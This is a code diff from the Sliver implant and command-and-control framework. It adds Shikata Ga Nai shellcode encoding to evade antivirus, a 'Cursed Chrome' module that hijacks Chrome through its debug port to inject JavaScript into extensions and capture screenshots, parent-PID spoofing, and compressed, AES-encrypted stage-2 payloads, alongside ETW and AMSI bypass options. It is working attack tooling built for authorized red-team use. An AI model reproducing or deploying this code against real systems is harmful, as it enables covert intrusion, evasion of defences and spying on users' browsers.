ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Int("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: ctx.Flags.Bool("in-process"),
})
ctrl <- true
<-ctrl
+32 -2
View File
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
return
}
ctrl := make(chan bool)
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
RWXPages: rwxPages,
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
+11 -8
View File
@@ -47,6 +47,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
ppid := ctx.Flags.Uint("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
@@ -61,14 +62,16 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: uint32(ppid),
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+1 -1
View File
@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
if ext.CommandName == extName {
return nil
}
}
+27 -1
View File
@@ -281,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
@@ -636,12 +640,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, errors.New("no file data")
}
fileData := generated.File.Data
if config.IsShellcode {
confirm := false
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
if confirm {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
err = ioutil.WriteFile(saveTo, fileData, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
+15
View File
@@ -103,6 +103,8 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
)
+24 -1
View File
@@ -19,9 +19,12 @@ package jobs
*/
import (
"bytes"
"compress/zlib"
"context"
"net/url"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
@@ -36,6 +39,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -75,7 +79,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorect length of AES IV\n")
con.PrintErrorf("Incorrect length of AES IV\n")
return
}
@@ -88,7 +92,26 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
switch compress {
case "zlib":
// use zlib to compress the stage2
var compBuff bytes.Buffer
zlibWriter := zlib.NewWriter(&compBuff)
zlibWriter.Write(stage2)
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = util.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
stage2 = util.DeflateBuf(stage2)
}
if aesEncrypt {
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
// but it's also useful here as more advanced cipher modes are often difficult to implement in
// a stager.
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
+1 -1
View File
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
"Remote Address",
})
for _, p := range portfwds {
tw.AppendHeader(table.Row{
tw.AppendRow(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
+5 -3
View File
@@ -19,6 +19,7 @@ package reaction
*/
import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
@@ -29,9 +30,10 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
reactionPath := GetReactionFilePath()
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved reactions to disk\n")
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
}
}
+81
View File
@@ -0,0 +1,81 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"io/ioutil"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
shellcodeFile := ctx.Args.String("shellcode")
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
}
arch := ctx.Flags.String("arch")
iterations := ctx.Flags.Int("iterations")
rawBadChars := ctx.Flags.String("bad-chars")
badChars, err := hex.DecodeString(rawBadChars)
if err != nil {
con.PrintErrorf("Failed to decode bad chars: %s", err)
return
}
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: rawShellcode,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
return
}
outputFile := ctx.Flags.String("save")
if outputFile == "" {
outputFile = filepath.Base(shellcodeFile)
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
}
+1
View File
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
core.CloseCursedProcesses(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
+8
View File
@@ -236,6 +236,14 @@ const (
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
Cursed = "cursed"
CursedChrome = "chrome"
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
)
// Groups
+92
View File
@@ -0,0 +1,92 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"net/url"
"sync"
)
var (
// SessionID -> CursedProcess
CursedProcesses = &sync.Map{}
)
type CursedProcess struct {
SessionID string
PID uint32
BindTCPPort int
PortFwd *Portfwd
Platform string
ExePath string
ChromeUserDataDir string
}
func (c *CursedProcess) DebugURL() *url.URL {
return &url.URL{
Scheme: "http",
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
Path: "/json",
}
}
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
var cursedProcesses []*CursedProcess
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
cursedProcesses = append(cursedProcesses, cursedProcess)
}
return true
})
return cursedProcesses
}
func CloseCursedProcesses(sessionID string) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
+24
View File
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
MIT License
Copyright (c) 2019 Ege Balcı
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
======================================================================================================
BSD 3-Clause License
Copyright (c) 2018, b4rtik
+300
View File
@@ -0,0 +1,300 @@
package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
)
const (
// AllURLs - All URLs permission
AllURLs = "<all_urls>"
// AllHTTP - All HTTP permission
AllHTTP = "http://*/*"
// AllHTTPS - All HTTP permission
AllHTTPS = "https://*/*"
// WebRequest - WebRequest permission
WebRequest = "webRequest"
// WebRequestBlocking - WebRequestBlocking permission
WebRequestBlocking = "webRequestBlocking"
// FetchManifestJS - Get extension manifest
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
)
var (
// ErrTargetNotFound - Returned when a target cannot be found
ErrTargetNotFound = errors.New("Target not found")
)
// ManifestBackground - An extension manifest file
type ManifestBackground struct {
Scripts []string `json:"scripts"`
Persistent bool `json:"persistent"`
}
// Manifest - An extension manifest file
type Manifest struct {
Name string `json:"name"`
Version string `json:"version"`
Description string `json:"description"`
ManifestVersion int `json:"manifest_version"`
Permissions []string `json:"permissions"`
Background ManifestBackground `json:"background"`
}
// ChromeDebugTarget - A single debug context object
type ChromeDebugTarget struct {
Description string `json:"description"`
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
ID string `json:"id"`
Title string `json:"title"`
Type string `json:"type"`
URL string `json:"url"`
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
var allocCtx context.Context
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
opts := []func(*chromedp.ExecAllocator){
chromedp.Flag("restore-last-session", true),
chromedp.UserDataDir(userHomeDir),
}
switch platform {
case "darwin":
opts = append(opts,
chromedp.Flag("headless", false),
chromedp.Flag("use-mock-keychain", false),
)
default:
opts = append(opts, chromedp.Headless)
}
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
return opts
}
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
var (
cancel context.CancelFunc
)
if webSocketURL != "" {
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
} else {
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
}
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
return taskCtx, taskCancel, cancel
}
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
targets, err := chromedp.Targets(ctx)
if err != nil {
return nil
}
for _, targetInfo := range targets {
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
return targetInfo
}
}
return nil
}
func contains(haystack []string, needle string) bool {
set := make(map[string]struct{}, len(haystack))
for _, entry := range haystack {
set[entry] = struct{}{}
}
_, ok := set[needle]
return ok
}
func containsAll(haystack []string, needles []string) bool {
all := true
for _, needle := range needles {
if !contains(haystack, needle) {
all = false
break
}
}
return all
}
// ExecuteJS - injects a JavaScript code into a target
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
targetInfo := findTargetInfoByID(ctx, targetID)
if targetInfo == nil {
return nil, ErrTargetNotFound
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
return result, err
}
// FindExtensionWithPermissions - Find an extension with a permission
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
return &target, nil
}
}
return nil, nil // No targets, no errors
}
// FindExtensionsWithPermissions - Find an extension with a permission
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
extensions := []*ChromeDebugTarget{}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
extensions = append(extensions, &target)
}
}
return extensions, nil
}
// QueryDebugTargets - Query debug listener using HTTP client
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
return debugContexts, err
}
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
if err != nil {
return nil, err
}
extensionContexts := []ChromeDebugTarget{}
for _, debugCtx := range debugContexts {
ctxURL, err := url.Parse(debugCtx.URL)
if err != nil {
continue
}
if ctxURL.Scheme == "chrome-extension" {
extensionContexts = append(extensionContexts, debugCtx)
}
}
return extensionContexts, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
screenshotTask := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
if err != nil {
return err
}
result, err = page.CaptureScreenshot().
WithQuality(quality).
WithClip(&page.Viewport{
X: contentSize.X,
Y: contentSize.Y,
Width: contentSize.Width,
Height: contentSize.Height,
Scale: 1,
}).Do(ctx)
if err != nil {
return err
}
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
targetInfo := findTargetInfoByID(taskCtx, targetID)
if targetInfo == nil {
return []byte{}, ErrTargetNotFound
}
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
if err := chromedp.Run(ctx, screenshotTask); err != nil {
return nil, err
}
return result, nil
}
+28 -2
View File
@@ -20,12 +20,12 @@ set -e
# Creates the static go asset archives
GO_VER="1.18.4"
GO_VER="1.18.5"
GARBLE_VER="1.18.0"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
GO_ARCH_3="386"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
if ! [ -x "$(command -v curl)" ]; then
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
echo "-----------------------------------------------------------------"
# Linux (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
# Linux (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
# Windows (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
# MacOS (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
# MacOS (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
# end
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
+11 -2
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.17
go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
@@ -10,8 +10,11 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
@@ -35,7 +38,7 @@ require (
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
@@ -61,6 +64,7 @@ require (
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
@@ -70,6 +74,9 @@ require (
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
@@ -85,9 +92,11 @@ require (
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
+26 -1
View File
@@ -85,6 +85,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
